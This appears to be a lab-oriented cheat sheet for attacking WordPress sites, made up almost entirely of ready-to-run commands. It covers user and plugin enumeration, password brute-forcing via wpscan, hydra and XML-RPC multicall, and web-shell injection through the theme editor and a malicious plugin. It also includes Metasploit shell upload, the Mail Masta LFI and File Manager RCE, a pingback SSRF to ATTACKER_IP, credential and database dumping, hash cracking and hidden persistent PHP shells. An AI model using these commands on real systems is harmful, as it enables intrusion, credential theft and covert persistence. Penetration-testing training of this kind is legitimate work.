Attacking WordPress¶

curl -s http://blog.inlanefreight.local/robots.txt

# Quick check for common WP paths
for path in wp-login.php wp-admin/ wp-content/ wp-includes/ xmlrpc.php readme.html; do
  echo -n "$path: "; curl -s -o /dev/null -w "%{http_code}" http://blog.inlanefreight.local/$path; echo
done

curl -s http://blog.inlanefreight.local/ | grep -i "generator"

curl -s http://blog.inlanefreight.local/feed/ | grep -i "generator"

curl -s http://blog.inlanefreight.local/readme.html | grep -i "version"

curl -s http://blog.inlanefreight.local/wp-links-opml.php | grep -i "generator"

curl -s http://blog.inlanefreight.local/ | grep -oP "ver=\K[0-9.]+"  | sort -u

whatweb http://blog.inlanefreight.local

curl -I http://blog.inlanefreight.local/

# Extract theme name
curl -s http://blog.inlanefreight.local/ | grep -oP "themes/\K[^/]+" | sort -u

# Extract plugin names from page source
curl -s http://blog.inlanefreight.local/ | grep -oP "plugins/\K[^/]+" | sort -u

# Full approach — grab all wp-content references
curl -s http://blog.inlanefreight.local/ | grep -oP "/wp-content/(themes|plugins)/[^/]+" | sort -u

# Enumerate first 20 user IDs
for i in $(seq 1 20); do
  echo -n "ID $i: "
  curl -s -o /dev/null -w "%{redirect_url}\n" "http://blog.inlanefreight.local/?author=$i"
done

curl -s http://blog.inlanefreight.local/wp-json/wp/v2/users | jq '.[].slug'

# Confirm a username exists via login form
curl -s -d "log=admin&pwd=wrong&wp-submit=Log+In" \
  http://blog.inlanefreight.local/wp-login.php | grep -i "incorrect\|unknown"

curl -s -X POST http://blog.inlanefreight.local/xmlrpc.php \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0"?>
<methodCall>
  <methodName>wp.getUsersBlogs</methodName>
  <params>
    <param><value><string>admin</string></value></param>
    <param><value><string>password123</string></value></param>
  </params>
</methodCall>'

curl -s http://blog.inlanefreight.local/feed/ | grep -oP "<dc:creator><!\[CDATA\[\K[^\]]+"

# From page source
curl -s http://blog.inlanefreight.local/ | grep -oP "plugins/\K[^/]+" | sort -u

# Direct path probing (check for readme.txt which leaks version)
curl -s http://blog.inlanefreight.local/wp-content/plugins/akismet/readme.txt | head -5

# Check if directory listing is enabled
curl -s http://blog.inlanefreight.local/wp-content/plugins/

# Active theme from page source
curl -s http://blog.inlanefreight.local/ | grep -oP "themes/\K[^/]+" | sort -u

# Theme readme/style.css for version
curl -s http://blog.inlanefreight.local/wp-content/themes/flavor/style.css | head -20

curl -s http://blog.inlanefreight.local/wp-content/uploads/ | grep -i "index of"

wpscan --url http://blog.inlanefreight.local/ --enumerate vp,vt,u

wpscan --url http://blog.inlanefreight.local/ \
  --enumerate ap,at,u1-50,cb,dbe \
  --plugins-detection aggressive \
  --api-token YOUR_WPSCAN_API_TOKEN \
  --threads 10

wpscan --url http://blog.inlanefreight.local/ \
  --passwords /usr/share/wordlists/rockyou.txt \
  --usernames admin,editor_james \
  --threads 20 \
  --max-threads 20

curl -s -X POST http://blog.inlanefreight.local/xmlrpc.php \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0"?>
<methodCall>
  <methodName>wp.getUsersBlogs</methodName>
  <params>
    <param><value><string>admin</string></value></param>
    <param><value><string>password123</string></value></param>
  </params>
</methodCall>'

curl -s -X POST http://blog.inlanefreight.local/xmlrpc.php \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0"?>
<methodCall>
  <methodName>system.multicall</methodName>
  <params><param><value><array><data>
    <value><struct>
      <member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
      <member><name>params</name><value><array><data>
        <value><string>admin</string></value>
        <value><string>password1</string></value>
      </data></array></value></member>
    </struct></value>
    <value><struct>
      <member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
      <member><name>params</name><value><array><data>
        <value><string>admin</string></value>
        <value><string>password2</string></value>
      </data></array></value></member>
    </struct></value>
    <value><struct>
      <member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
      <member><name>params</name><value><array><data>
        <value><string>admin</string></value>
        <value><string>password3</string></value>
      </data></array></value></member>
    </struct></value>
  </data></array></value></param></params>
</methodCall>'

hydra -l admin -P /usr/share/wordlists/rockyou.txt \
  blog.inlanefreight.local http-post-form \
  "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=The password you entered"

curl "http://blog.inlanefreight.local/wp-content/themes/flavor/404.php?cmd=id"

# Step 1: Authenticate and grab cookies + nonce
COOKIES=$(mktemp)
curl -s -c $COOKIES -b $COOKIES \
  -d "log=admin&pwd=admin123&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F" \
  http://blog.inlanefreight.local/wp-login.php

# Step 2: Get the theme editor nonce
NONCE=$(curl -s -b $COOKIES http://blog.inlanefreight.local/wp-admin/theme-editor.php?file=404.php \
  | grep -oP '_wpnonce=\K[a-f0-9]+' | head -1)

# Step 3: Inject payload into 404.php
curl -s -b $COOKIES \
  -d "_wpnonce=$NONCE&newcontent=<?php+system(\$_GET['cmd']);+?>&action=update&file=404.php&theme=flavor" \
  http://blog.inlanefreight.local/wp-admin/theme-editor.php

# Step 4: Execute
curl "http://blog.inlanefreight.local/wp-content/themes/flavor/404.php?cmd=whoami"

zip safe-updates.zip safe-updates.php

curl "http://blog.inlanefreight.local/wp-content/plugins/safe-updates/safe-updates.php?cmd=id"

# WPScan doesn't directly upload plugins, but Metasploit does (see below)

msfconsole -q
use exploit/unix/webapp/wp_admin_shell_upload
set RHOSTS blog.inlanefreight.local
set TARGETURI /
set USERNAME admin
set PASSWORD admin123
set LHOST tun0
run

curl -s -X POST http://blog.inlanefreight.local/xmlrpc.php \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName><params></params></methodCall>'

curl -s -X POST http://blog.inlanefreight.local/xmlrpc.php \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0"?>
<methodCall>
  <methodName>system.listMethods</methodName>
  <params></params>
</methodCall>' | xmllint --format - | grep methodName

curl -s -X POST http://blog.inlanefreight.local/xmlrpc.php \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0"?>
<methodCall>
  <methodName>pingback.ping</methodName>
  <params>
    <param><value><string>http://ATTACKER_IP:8080/ssrf-test</string></value></param>
    <param><value><string>http://blog.inlanefreight.local/?p=1</string></value></param>
  </params>
</methodCall>'

# List all published posts (may contain sensitive info)
curl -s http://blog.inlanefreight.local/wp-json/wp/v2/posts | jq '.[].title.rendered'

# List pages
curl -s http://blog.inlanefreight.local/wp-json/wp/v2/pages | jq '.[].slug'

# Get site settings
curl -s http://blog.inlanefreight.local/wp-json/

# List media attachments
curl -s http://blog.inlanefreight.local/wp-json/wp/v2/media | jq '.[].source_url'

# Modify post ID 1 without authentication (WP < 4.7.2)
curl -X POST "http://blog.inlanefreight.local/wp-json/wp/v2/posts/1?id=1abc" \
  -d '{"title":"Hacked","content":"<script>alert(1)</script>"}'

curl -s "http://blog.inlanefreight.local/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd"

# Upload a web shell via the connector endpoint
curl -F "cmd=upload" \
  -F "target=l1_Lw" \
  -F "upload[]=@shell.php" \
  "http://blog.inlanefreight.local/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php"

# Execute
curl "http://blog.inlanefreight.local/wp-content/plugins/wp-file-manager/lib/files/shell.php?cmd=id"

# Search for WordPress plugin exploits
searchsploit wordpress file manager
searchsploit wordpress mail masta
searchsploit wordpress social warfare

# Mirror an exploit to current directory
searchsploit -m php/webapps/49178.py

# Update the database
searchsploit -u

msfconsole -q
search wordpress type:exploit

# Commonly used modules:
use exploit/unix/webapp/wp_admin_shell_upload
use exploit/unix/webapp/wp_symposium_shell_upload
use exploit/unix/webapp/wp_slideshowgallery_upload
use exploit/unix/webapp/wp_crop_rce
use auxiliary/scanner/http/wordpress_login_enum
use auxiliary/scanner/http/wordpress_xmlrpc_login

cat /var/www/html/wp-config.php

# Connect to MySQL with extracted credentials
mysql -u wp_user -p'SuperSecretP@ss!' -h localhost wordpress_db

# Or one-liner dump
mysqldump -u wp_user -p'SuperSecretP@ss!' wordpress_db > /tmp/wp_dump.sql

mysql -u wp_user -p'SuperSecretP@ss!' wordpress_db -e "SELECT user_login, user_pass FROM wp_users;"

# Hashcat (mode 400 for phpass)
hashcat -m 400 hashes.txt /usr/share/wordlists/rockyou.txt --force

# John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

# Check for other config files with credentials
find /var/www/ -name "*.conf" -o -name "*.cfg" -o -name "*.ini" | xargs grep -l "password\|passwd\|pwd"

# Check for SSH keys
find /home/ -name "id_rsa" -o -name "authorized_keys" 2>/dev/null

# Check debug log for sensitive info
cat /var/www/html/wp-content/debug.log 2>/dev/null | grep -i "password\|secret\|key"

# Upload a minimal PHP shell to an inconspicuous location
echo '<?php if(isset($_GET["c"])){system($_GET["c"]);} ?>' > /var/www/html/wp-includes/class-wp-update.php

# Or hide in uploads (less likely to be overwritten during updates)
echo '<?php system($_REQUEST["cmd"]); ?>' > /var/www/html/wp-content/uploads/.cache.php

# Verify access
curl "http://blog.inlanefreight.local/wp-includes/class-wp-update.php?c=whoami"
curl "http://blog.inlanefreight.local/wp-content/uploads/.cache.php?cmd=id"

# Confirm WordPress
curl -s http://SERVER_IP/ | grep -i "wordpress\|wp-content\|wp-includes"
curl -s http://SERVER_IP/robots.txt
curl -s http://SERVER_IP/readme.html
curl -I http://SERVER_IP/ | grep -i "x-pingback\|link.*wp-json"

# Version detection
curl -s http://SERVER_IP/ | grep -oP 'content="WordPress \K[0-9.]+'
curl -s http://SERVER_IP/feed/ | grep -oP '\?v=\K[0-9.]+'
curl -s http://SERVER_IP/ | grep -oP "ver=\K[0-9.]+" | sort -u

# Technology stack
whatweb http://SERVER_IP/
curl -I http://SERVER_IP/

# Users — manual
for i in $(seq 1 20); do curl -s -o /dev/null -w "ID $i: %{redirect_url}\n" "http://SERVER_IP/?author=$i"; done
curl -s http://SERVER_IP/wp-json/wp/v2/users | jq '.[].slug'
curl -s http://SERVER_IP/feed/ | grep -oP "<dc:creator><!\[CDATA\[\K[^\]]+"

# Plugins & themes — manual
curl -s http://SERVER_IP/ | grep -oP "plugins/\K[^/]+" | sort -u
curl -s http://SERVER_IP/ | grep -oP "themes/\K[^/]+" | sort -u

# WPScan — full enumeration
wpscan --url http://SERVER_IP/ -e ap,at,u1-50,cb,dbe --plugins-detection aggressive --api-token TOKEN

# WPScan — user-only (quick)
wpscan --url http://SERVER_IP/ -e u

# WPScan — stealthy
wpscan --url http://SERVER_IP/ --stealthy -e vp,vt,u

# WPScan brute-force
wpscan --url http://SERVER_IP/ --passwords /usr/share/wordlists/rockyou.txt --usernames admin

# XML-RPC brute-force (single test)
curl -s -X POST http://SERVER_IP/xmlrpc.php -H "Content-Type: text/xml" \
  -d '<?xml version="1.0"?><methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value><string>admin</string></value></param><param><value><string>PASSWORD</string></value></param></params></methodCall>'

# Theme Editor RCE (after admin login — inject into 404.php)
curl "http://SERVER_IP/wp-content/themes/THEME_NAME/404.php?cmd=id"

# Malicious plugin upload (create + zip + upload via admin panel)
echo '<?php /**\n * Plugin Name: X\n */ system($_GET["cmd"]); ?>' > x.php && zip x.zip x.php

# Metasploit shell upload
msfconsole -q -x "use exploit/unix/webapp/wp_admin_shell_upload; set RHOSTS SERVER_IP; set USERNAME admin; set PASSWORD pass; set LHOST tun0; run"

# Pingback SSRF
curl -s -X POST http://SERVER_IP/xmlrpc.php -H "Content-Type: text/xml" \
  -d '<?xml version="1.0"?><methodCall><methodName>pingback.ping</methodName><params><param><value><string>http://INTERNAL_TARGET:PORT/</string></value></param><param><value><string>http://SERVER_IP/?p=1</string></value></param></params></methodCall>'

# LFI via Mail Masta
curl "http://SERVER_IP/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd"

# WP File Manager RCE (CVE-2020-25213)
curl -F "cmd=upload" -F "target=l1_Lw" -F "upload[]=@shell.php" \
  "http://SERVER_IP/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php"